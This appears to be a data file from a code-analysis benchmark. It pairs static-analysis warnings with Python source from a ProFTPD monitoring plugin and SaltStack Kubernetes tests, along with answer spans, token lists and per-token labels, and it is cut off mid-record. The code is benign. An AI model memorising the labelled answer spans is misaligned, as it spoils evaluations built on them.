[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
'import *' may pollute namespace
serverdensity/sd-agent-plugins/Proftpd/Proftpd.py
[ { "content": "\"\"\"\n Server Density Plugin\n Proftpd connection details\n\n https://github.com/serverdensity/sd-agent-plugins/\n Autor: @bitbeans\n Version: 1.0.0\n\"\"\"\nimport json\nimport sys\nimport subprocess\nimport platform\nimport logging\nimport time\nfrom decimal import *\n\ntry:\n \"\"\" Q&D check if there is a proftpd binary, so count creater: 1 \"\"\"\n c = subprocess.check_output(\n \"whereis proftpd | awk '{print NF}'\", shell=True).strip()\n if float(c) < 2:\n raise Exception(\"Missing proftpd\")\nexcept Exception:\n sys.exit(0)\n\n\n\nif __name__ == '__main__':\n \"\"\"Standalone test\"\"\"\n raw_agent_config = {\n 'Proftpd': {\n }\n }\n\n main_checks_logger = logging.getLogger('Proftpd')\n main_checks_logger.setLevel(logging.DEBUG)\n main_checks_logger.addHandler(logging.StreamHandler(sys.stdout))\n proftpd_check = Proftpd({}, main_checks_logger, raw_agent_config)\n\n while True:\n try:\n print json.dumps(proftpd_check.run(), indent=4, sort_keys=True)\n except:\n main_checks_logger.exception(\"Unhandled exception\")\n finally:\n time.sleep(60)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from decimal import *", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 21 } ]
[]
1
true
[ "[CLS]_", "'", "import", " ", "*'_", "may", "_", "poll", "ute", "_", "namespace_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "\\", "10", ";", " ", " ", "Server", " ", "Den", "sity", " ", "Plug", "in", "\\", "10", ";", " ", " ", "Prof", "tp", "d", " ", "connecti", "on", " ", "deta", "il", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", "https", "://", "git", "hub", ".", "com", "/", "server", "densit", "y", "/", "sd", "-", "agent", "-", "plugin", "s", "/", "\\", "10", ";", " ", " ", "Auto", "r", ":", " ", "@", "bitb", "ean", "s", "\\", "10", ";", " ", " ", "Version", ":", " ", "1.0", ".0", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "platform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "decimal_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Q", "&", "D", " ", "check", " ", "if", " ", "there", " ", "is", " ", "a", " ", "prof", "tp", "d", " ", "binar", "y", ",", " ", "so", " ", "count", " ", "create", "r", ":", " ", "1", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "subprocess_", "._", "check", "\\u", "output_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "where", "is", " ", "prof", "tp", "d", " ", "|", " ", "aw", "k", " ", "'{", "print", " ", "NF", "}'\"_", ",_", "shell_", "=_", "True_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "float_", "(_", "c_", ")_", "<_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "\"", "Missing", " ", "prof", "tp", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "exit_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Stand", "alo", "ne", " ", "test", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raw", "\\u", "agent", "\\u", "config_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Prof", "tp", "d", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "main", "\\u", "checks", "\\u", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "'", "Prof", "tp", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "main", "\\u", "checks", "\\u", "logger_", "._", "set", "Level_", "(_", "logging_", "._", "DEBUG_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "main", "\\u", "checks", "\\u", "logger_", "._", "add", "Handler_", "(_", "logging_", "._", "Stream", "Handler_", "(_", "sys_", "._", "stdout_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prof", "tp", "d\\u", "check_", "=_", "Prof", "tp", "d_", "(_", "{_", "}_", ",_", "main", "\\u", "checks", "\\u", "logger_", ",_", "raw", "\\u", "agent", "\\u", "config_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "json_", "._", "dumps_", "(_", "prof", "tp", "d\\u", "check_", "._", "run_", "(_", ")_", ",_", "indent_", "=_", "4_", ",_", "sort", "\\u", "keys_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "main", "\\u", "checks", "\\u", "logger_", "._", "exception_", "(_", "\"", "Unh", "andle", "d", " ", "exception", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time_", "._", "sleep_", "(_", "60_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
saltstack/salt/tests/unit/modules/k8s_test.py
[ { "content": " def test_create_namespace(self):\n hash = hashlib.sha1()\n hash.update(str(time.time()))\n nsname = hash.hexdigest()[:16]\n res = k8s.create_namespace(nsname, apiserver_url=\"http://127.0.0.1:8080\")\n proc = Popen([\"kubectl\", \"get\", \"namespaces\", nsname, \"-o\", \"json\"], stdout=PIPE)\n kubectl_out = json.loads(proc.communicate()[0])\n # if creation is failed, kubernetes return non json error message\n self.assertTrue(isinstance(kubectl_out, dict))", "metadata": "root.TestK8SNamespace.test_create_namespace", "header": "['class', 'TestK8SNamespace', '(', 'TestCase', ')', ':', '___EOS___']", "index": 45 }, { "content": " def test_get_one_secret(self):\n name = self.name\n filename = \"/tmp/{0}.json\".format(name)\n with open(filename, 'w') as f:\n json.dump(self.request, f)\n\n create = Popen([\"kubectl\", \"--namespace=default\", \"create\", \"-f\", filename], stdout=PIPE)\n # wee need to give kubernetes time save data in etcd\n time.sleep(0.1)\n res = k8s.get_secrets(\"default\", name, apiserver_url=\"http://127.0.0.1:8080\")\n a = res.get(\"metadata\", {}).get(\"name\", \"a\")\n proc = Popen([\"kubectl\", \"--namespace=default\", \"get\", \"secrets\", name, \"-o\", \"json\"], stdout=PIPE)\n kubectl_out = json.loads(proc.communicate()[0])\n b = kubectl_out.get(\"metadata\", {}).get(\"name\", \"b\")\n self.assertEqual(a, b)", "metadata": "root.TestK8SSecrets.test_get_one_secret", "header": "['class', 'TestK8SSecrets', '(', 'TestCase', ')', ':', '___EOS___']", "index": 82 }, { "content": " def test_get_decoded_secret(self):\n name = self.name\n filename = \"/tmp/{0}.json\".format(name)\n with open(filename, 'w') as f:\n json.dump(self.request, f)\n\n create = Popen([\"kubectl\", \"--namespace=default\", \"create\", \"-f\", filename], stdout=PIPE)\n # wee need to give etcd to populate data on all nodes\n time.sleep(0.1)\n res = k8s.get_secrets(\"default\", name, apiserver_url=\"http://127.0.0.1:8080\", decode=True)\n a = res.get(\"data\", {}).get(\"testsecret\", )\n self.assertEqual(a, \"teststring\")", "metadata": "root.TestK8SSecrets.test_get_decoded_secret", "header": "['class', 'TestK8SSecrets', '(', 'TestCase', ')', ':', '___EOS___']", "index": 98 }, { "content": " def test_create_secret(self):\n name = self.name\n names = []\n expected_data = {}\n for i in range(2):\n names.append(\"/tmp/{0}-{1}\".format(name, i))\n with open(\"/tmp/{0}-{1}\".format(name, i), 'w') as f:\n expected_data[\"{0}-{1}\".format(name, i)] = base64.b64encode(\"{0}{1}\".format(name, i))\n f.write(\"{0}{1}\".format(name, i))\n res = k8s.create_secret(\"default\", name, names, apiserver_url=\"http://127.0.0.1:8080\")\n proc = Popen([\"kubectl\", \"--namespace=default\", \"get\", \"secrets\", name, \"-o\", \"json\"], stdout=PIPE)\n kubectl_out = json.loads(proc.communicate()[0])\n # if creation is failed, kubernetes return non json error message\n b = kubectl_out.get(\"data\", {})\n self.assertTrue(isinstance(kubectl_out, dict))\n self.assertEqual(expected_data, b)", "metadata": "root.TestK8SSecrets.test_create_secret", "header": "['class', 'TestK8SSecrets', '(', 'TestCase', ')', ':', '___EOS___']", "index": 111 }, { "content": " def test_update_secret(self):\n name = self.name\n filename = \"/tmp/{0}.json\".format(name)\n with open(filename, 'w') as f:\n json.dump(self.request, f)\n\n create = Popen([\"kubectl\", \"--namespace=default\", \"create\", \"-f\", filename], stdout=PIPE)\n # wee need to give kubernetes time save data in etcd\n time.sleep(0.1)\n expected_data = {}\n names = []\n for i in range(3):\n names.append(\"/tmp/{0}-{1}-updated\".format(name, i))\n with open(\"/tmp/{0}-{1}-updated\".format(name, i), 'w') as f:\n expected_data[\"{0}-{1}-updated\".format(name, i)] = base64.b64encode(\"{0}{1}-updated\".format(name, i))\n f.write(\"{0}{1}-updated\".format(name, i))\n\n res = k8s.update_secret(\"default\", name, names, apiserver_url=\"http://127.0.0.1:8080\")\n # if creation is failed, kubernetes return non json error message\n proc = Popen([\"kubectl\", \"--namespace=default\", \"get\", \"secrets\", name, \"-o\", \"json\"], stdout=PIPE)\n kubectl_out = json.loads(proc.communicate()[0])\n # if creation is failed, kubernetes return non json error message\n b = kubectl_out.get(\"data\", {})\n self.assertTrue(isinstance(kubectl_out, dict))\n self.assertEqual(expected_data, b)", "metadata": "root.TestK8SSecrets.test_update_secret", "header": "['class', 'TestK8SSecrets', '(', 'TestCase', ')', ':', '___EOS___']", "index": 128 }, { "content": " def test_delete_secret(self):\n name = self.name\n filename = \"/tmp/{0}.json\".format(name)\n with open(filename, 'w') as f:\n json.dump(self.request, f)\n\n create = Popen([\"kubectl\", \"--namespace=default\", \"create\", \"-f\", filename], stdout=PIPE)\n # wee need to give kubernetes time save data in etcd\n time.sleep(0.1)\n res = k8s.delete_secret(\"default\", name, apiserver_url=\"http://127.0.0.1:8080\")\n time.sleep(0.1)\n proc = Popen([\"kubectl\", \"--namespace=default\", \"get\", \"secrets\", name, \"-o\", \"json\"], stdout=PIPE, stderr=PIPE)\n kubectl_out, err = proc.communicate()\n # stdout is empty, stderr is showing something like \"not found\"\n self.assertEqual('', kubectl_out)\n self.assertEqual('Error from server: secrets \"{0}\" not found\\n'.format(name), err)", "metadata": "root.TestK8SSecrets.test_delete_secret", "header": "['class', 'TestK8SSecrets', '(', 'TestCase', ')', ':', '___EOS___']", "index": 154 }, { "content": " def test_get_resource_quotas(self):\n name = self.name\n namespace = self.name\n create_namespace = Popen([\"kubectl\", \"create\", \"namespace\", namespace], stdout=PIPE)\n create_namespace = Popen([\"kubectl\", \"create\", \"namespace\", namespace], stdout=PIPE)\n request = \"\"\"\napiVersion: v1\nkind: ResourceQuota\nmetadata:\n name: {0}\nspec:\n hard:\n cpu: \"20\"\n memory: 1Gi\n persistentvolumeclaims: \"10\"\n pods: \"10\"\n replicationcontrollers: \"20\"\n resourcequotas: \"1\"\n secrets: \"10\"\n services: \"5\"\n\"\"\".format(name)\n filename = \"/tmp/{0}.yaml\".format(name)\n with open(filename, 'w') as f:\n f.write(request)\n\n create = Popen([\"kubectl\", \"--namespace={0}\".format(namespace), \"create\", \"-f\", filename], stdout=PIPE)\n # wee need to give kubernetes time save data in etcd\n time.sleep(0.2)\n res = k8s.get_resource_quotas(namespace, apiserver_url=\"http://127.0.0.1:8080\")\n a = len(res.get(\"items\", []))\n proc = Popen([\"kubectl\", \"--namespace={0}\".format(namespace), \"get\", \"quota\", \"-o\", \"json\"], stdout=PIPE)\n kubectl_out = json.loads(proc.communicate()[0])\n b = len(kubectl_out.get(\"items\", []))\n self.assertEqual(a, b)", "metadata": "root.TestK8SResourceQuotas.test_get_resource_quotas", "header": "['class', 'TestK8SResourceQuotas', '(', 'TestCase', ')', ':', '___EOS___']", "index": 180 }, { "content": " def test_get_one_resource_quota(self):\n name = self.name\n namespace = self.name\n create_namespace = Popen([\"kubectl\", \"create\", \"namespace\", namespace], stdout=PIPE)\n request = \"\"\"\napiVersion: v1\nkind: ResourceQuota\nmetadata:\n name: {0}\nspec:\n hard:\n cpu: \"20\"\n memory: 1Gi\n persistentvolumeclaims: \"10\"\n pods: \"10\"\n replicationcontrollers: \"20\"\n resourcequotas: \"1\"\n secrets: \"10\"\n services: \"5\"\n\"\"\".format(name)\n filename = \"/tmp/{0}.yaml\".format(name)\n with open(filename, 'w') as f:\n f.write(request)\n\n create = Popen([\"kubectl\", \"--namespace={0}\".format(namespace), \"create\", \"-f\", filename], stdout=PIPE)\n # wee need to give kubernetes time save data in etcd\n time.sleep(0.2)\n res = k8s.get_resource_quotas(namespace, name, apiserver_url=\"http://127.0.0.1:8080\")\n a = res.get(\"metadata\", {}).get(\"name\", \"a\")\n proc = Popen([\"kubectl\", \"--namespace={0}\".format(namespace), \"get\", \"quota\", name, \"-o\", \"json\"], stdout=PIPE)\n kubectl_out = json.loads(proc.communicate()[0])\n b = kubectl_out.get(\"metadata\", {}).get(\"name\", \"b\")\n self.assertEqual(a, b)", "metadata": "root.TestK8SResourceQuotas.test_get_one_resource_quota", "header": "['class', 'TestK8SResourceQuotas', '(', 'TestCase', ')', ':', '___EOS___']", "index": 215 }, { "content": " def test_create_resource_quota(self):\n name = self.name\n namespace = self.name\n create_namespace = Popen([\"kubectl\", \"create\", \"namespace\", namespace], stdout=PIPE)\n quota = {\n \"cpu\": \"20\",\n \"memory\": \"1Gi\"\n }\n res = k8s.create_resource_quota(namespace, quota, name=name, apiserver_url=\"http://127.0.0.1:8080\")\n proc = Popen([\"kubectl\", \"--namespace={0}\".format(namespace), \"get\", \"quota\", name, \"-o\", \"json\"], stdout=PIPE)\n kubectl_out = json.loads(proc.communicate()[0])\n self.assertTrue(isinstance(kubectl_out, dict))", "metadata": "root.TestK8SResourceQuotas.test_create_resource_quota", "header": "['class', 'TestK8SResourceQuotas', '(', 'TestCase', ')', ':', '___EOS___']", "index": 249 }, { "content": " def test_update_resource_quota(self):\n name = self.name\n namespace = self.name\n create_namespace = Popen([\"kubectl\", \"create\", \"namespace\", namespace], stdout=PIPE)\n request = \"\"\"\napiVersion: v1\nkind: ResourceQuota\nmetadata:\n name: {0}\nspec:\n hard:\n cpu: \"20\"\n memory: 1Gi\n persistentvolumeclaims: \"10\"\n pods: \"10\"\n replicationcontrollers: \"20\"\n resourcequotas: \"1\"\n secrets: \"10\"\n services: \"5\"\n\"\"\".format(name)\n filename = \"/tmp/{0}.yaml\".format(name)\n with open(filename, 'w') as f:\n f.write(request)\n\n create = Popen([\"kubectl\", \"--namespace={0}\".format(namespace), \"create\", \"-f\", filename], stdout=PIPE)\n # wee need to give kubernetes time save data in etcd\n time.sleep(0.2)\n quota = {\n \"cpu\": \"10\",\n \"memory\": \"2Gi\"\n }\n res = k8s.create_resource_quota(namespace, quota, name=name, apiserver_url=\"http://127.0.0.1:8080\", update=True)\n proc = Popen([\"kubectl\", \"--namespace={0}\".format(namespace), \"get\", \"quota\", name, \"-o\", \"json\"], stdout=PIPE)\n kubectl_out = json.loads(proc.communicate()[0])\n limit = kubectl_out.get(\"spec\").get(\"hard\").get(\"memory\")\n self.assertEqual(\"2Gi\", limit)", "metadata": "root.TestK8SResourceQuotas.test_update_resource_quota", "header": "['class', 'TestK8SResourceQuotas', '(', 'TestCase', ')', ':', '___EOS___']", "index": 262 }, { "content": " def test_create_limit_range(self):\n name = self.name\n limits = {\n \"Container\": {\n \"defaultRequest\": {\n \"cpu\": \"100m\"\n }\n }\n }\n res = k8s.create_limit_range(\"default\", limits, name=name, apiserver_url=\"http://127.0.0.1:8080\")\n proc = Popen([\"kubectl\", \"--namespace=default\", \"get\", \"limits\", name, \"-o\", \"json\"], stdout=PIPE)\n kubectl_out = json.loads(proc.communicate()[0])\n self.assertTrue(isinstance(kubectl_out, dict))", "metadata": "root.TestK8SLimitRange.test_create_limit_range", "header": "['class', 'TestK8SLimitRange', '(', 'TestCase', ')', ':', '___EOS___']", "index": 308 }, { "content": " def test_update_limit_range(self):\n name = self.name\n request = \"\"\"\napiVersion: v1\nkind: LimitRange\nmetadata:\n name: {0}\nspec:\n limits:\n - default:\n cpu: 200m\n memory: 512Mi\n defaultRequest:\n cpu: 100m\n memory: 256Mi\n type: Container\n\"\"\".format(name)\n limits = {\n \"Container\": {\n \"defaultRequest\": {\n \"cpu\": \"100m\"\n }\n }\n }\n filename = \"/tmp/{0}.yaml\".format(name)\n with open(filename, 'w') as f:\n f.write(request)\n\n create = Popen([\"kubectl\", \"--namespace=default\", \"create\", \"-f\", filename], stdout=PIPE)\n # wee need to give kubernetes time save data in etcd\n time.sleep(0.1)\n res = k8s.create_limit_range(\"default\", limits, name=name, apiserver_url=\"http://127.0.0.1:8080\", update=True)\n proc = Popen([\"kubectl\", \"--namespace=default\", \"get\", \"limits\", name, \"-o\", \"json\"], stdout=PIPE)\n kubectl_out = json.loads(proc.communicate()[0])\n limit = kubectl_out.get(\"spec\").get(\"limits\")[0].get(\"defaultRequest\").get(\"cpu\")\n self.assertEqual(\"100m\", limit)", "metadata": "root.TestK8SLimitRange.test_update_limit_range", "header": "['class', 'TestK8SLimitRange', '(', 'TestCase', ')', ':', '___EOS___']", "index": 322 }, { "content": " def test_get_one_limit_range(self):\n name = self.name\n request = \"\"\"\napiVersion: v1\nkind: LimitRange\nmetadata:\n name: {0}\nspec:\n limits:\n - default:\n cpu: 200m\n memory: 512Mi\n defaultRequest:\n cpu: 100m\n memory: 256Mi\n type: Container\n\"\"\".format(name)\n filename = \"/tmp/{0}.yaml\".format(name)\n with open(filename, 'w') as f:\n f.write(request)\n\n create = Popen([\"kubectl\", \"--namespace=default\", \"create\", \"-f\", filename], stdout=PIPE)\n # wee need to give kubernetes time save data in etcd\n time.sleep(0.1)\n res = k8s.get_limit_ranges(\"default\", name, apiserver_url=\"http://127.0.0.1:8080\")\n a = res.get(\"metadata\", {}).get(\"name\", \"a\")\n proc = Popen([\"kubectl\", \"--namespace=default\", \"get\", \"limits\", name, \"-o\", \"json\"], stdout=PIPE)\n kubectl_out = json.loads(proc.communicate()[0])\n b = kubectl_out.get(\"metadata\", {}).get(\"name\", \"b\")\n self.assertEqual(a, b)", "metadata": "root.TestK8SLimitRange.test_get_one_limit_range", "header": "['class', 'TestK8SLimitRange', '(', 'TestCase', ')', ':', '___EOS___']", "index": 367 } ]
[ { "span": "res ", "start_line": 49, "start_column": 8, "end_line": 49, "end_column": 11 }, { "span": "create ", "start_line": 88, "start_column": 8, "end_line": 88, "end_column": 14 }, { "span": "create ", "start_line": 104, "start_column": 8, "end_line": 104, "end_column": 14 }, { "span": "res ", "start_line": 120, "start_column": 8, "end_line": 120, "end_column": 11 }, { "span": "create ", "start_line": 134, "start_column": 8, "end_line": 134, "end_column": 14 }, { "span": "res ", "start_line": 145, "start_column": 8, "end_line": 145, "end_column": 11 }, { "span": "create ", "start_line": 160, "start_column": 8, "end_line": 160, "end_column": 14 }, { "span": "res ", "start_line": 163, "start_column": 8, "end_line": 163, "end_column": 11 }, { "span": "create_namespace ", "start_line": 184, "start_column": 8, "end_line": 184, "end_column": 24 }, { "span": "create ", "start_line": 205, "start_column": 8, "end_line": 205, "end_column": 14 }, { "span": "create_namespace ", "start_line": 218, "start_column": 8, "end_line": 218, "end_column": 24 }, { "span": "create ", "start_line": 239, "start_column": 8, "end_line": 239, "end_column": 14 }, { "span": "create_namespace ", "start_line": 252, "start_column": 8, "end_line": 252, "end_column": 24 }, { "span": "res ", "start_line": 257, "start_column": 8, "end_line": 257, "end_column": 11 }, { "span": "create_namespace ", "start_line": 265, "start_column": 8, "end_line": 265, "end_column": 24 }, { "span": "create ", "start_line": 286, "start_column": 8, "end_line": 286, "end_column": 14 }, { "span": "res ", "start_line": 293, "start_column": 8, "end_line": 293, "end_column": 11 }, { "span": "res ", "start_line": 317, "start_column": 8, "end_line": 317, "end_column": 11 }, { "span": "create ", "start_line": 350, "start_column": 8, "end_line": 350, "end_column": 14 }, { "span": "res ", "start_line": 353, "start_column": 8, "end_line": 353, "end_column": 11 }, { "span": "create ", "start_line": 388, "start_column": 8, "end_line": 388, "end_column": 14 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Test", "K", "8", "SN", "ames", "pace_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "namespace_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hash_", "=_", "hashlib_", "._", "sha1_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hash_", "._", "update_", "(_", "str_", "(_", "time_", "._", "time_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ns", "name_", "=_", "hash_", "._", "hexdigest_", "(_", ")_", "[_", ":_", "16_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "k", "8s", "_", "._", "create", "\\u", "namespace_", "(_", "ns", "name_", ",_", "apis", "erver", "\\u", "url_", "=_", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "proc_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"", "get", "\"_", ",_", "\"", "namespace", "s", "\"_", ",_", "ns", "name_", ",_", "\"-", "o", "\"_", ",_", "\"", "json", "\"_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kubec", "tl", "\\u", "out_", "=_", "json_", "._", "loads_", "(_", "proc_", "._", "communicate_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "creati", "on", " ", "is", " ", "fail", "ed", ",", " ", "kubernetes", " ", "return", " ", "non", " ", "json", " ", "error", " ", "message_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "kubec", "tl", "\\u", "out_", ",_", "dict_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "K", "8", "SS", "ecr", "ets_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "one", "\\u", "secret_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "\"/", "tmp", "/{", "0", "}.", "json", "\"_", "._", "format_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "filename_", ",_", "'", "w", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "json_", "._", "dump_", "(_", "self_", "._", "request_", ",_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "create_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "=", "default", "\"_", ",_", "\"", "create", "\"_", ",_", "\"-", "f", "\"_", ",_", "filename_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "wee", " ", "need", " ", "to", " ", "give", " ", "kubernetes", " ", "time", " ", "save", " ", "data", " ", "in", " ", "etcd", "_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "k", "8s", "_", "._", "get", "\\u", "secrets_", "(_", "\"", "default", "\"_", ",_", "name_", ",_", "apis", "erver", "\\u", "url_", "=_", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "res_", "._", "get_", "(_", "\"", "metadata", "\"_", ",_", "{_", "}_", ")_", "._", "get_", "(_", "\"", "name", "\"_", ",_", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "proc_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "=", "default", "\"_", ",_", "\"", "get", "\"_", ",_", "\"", "secret", "s", "\"_", ",_", "name_", ",_", "\"-", "o", "\"_", ",_", "\"", "json", "\"_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kubec", "tl", "\\u", "out_", "=_", "json_", "._", "loads_", "(_", "proc_", "._", "communicate_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "kubec", "tl", "\\u", "out_", "._", "get_", "(_", "\"", "metadata", "\"_", ",_", "{_", "}_", ")_", "._", "get_", "(_", "\"", "name", "\"_", ",_", "\"", "b", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "K", "8", "SS", 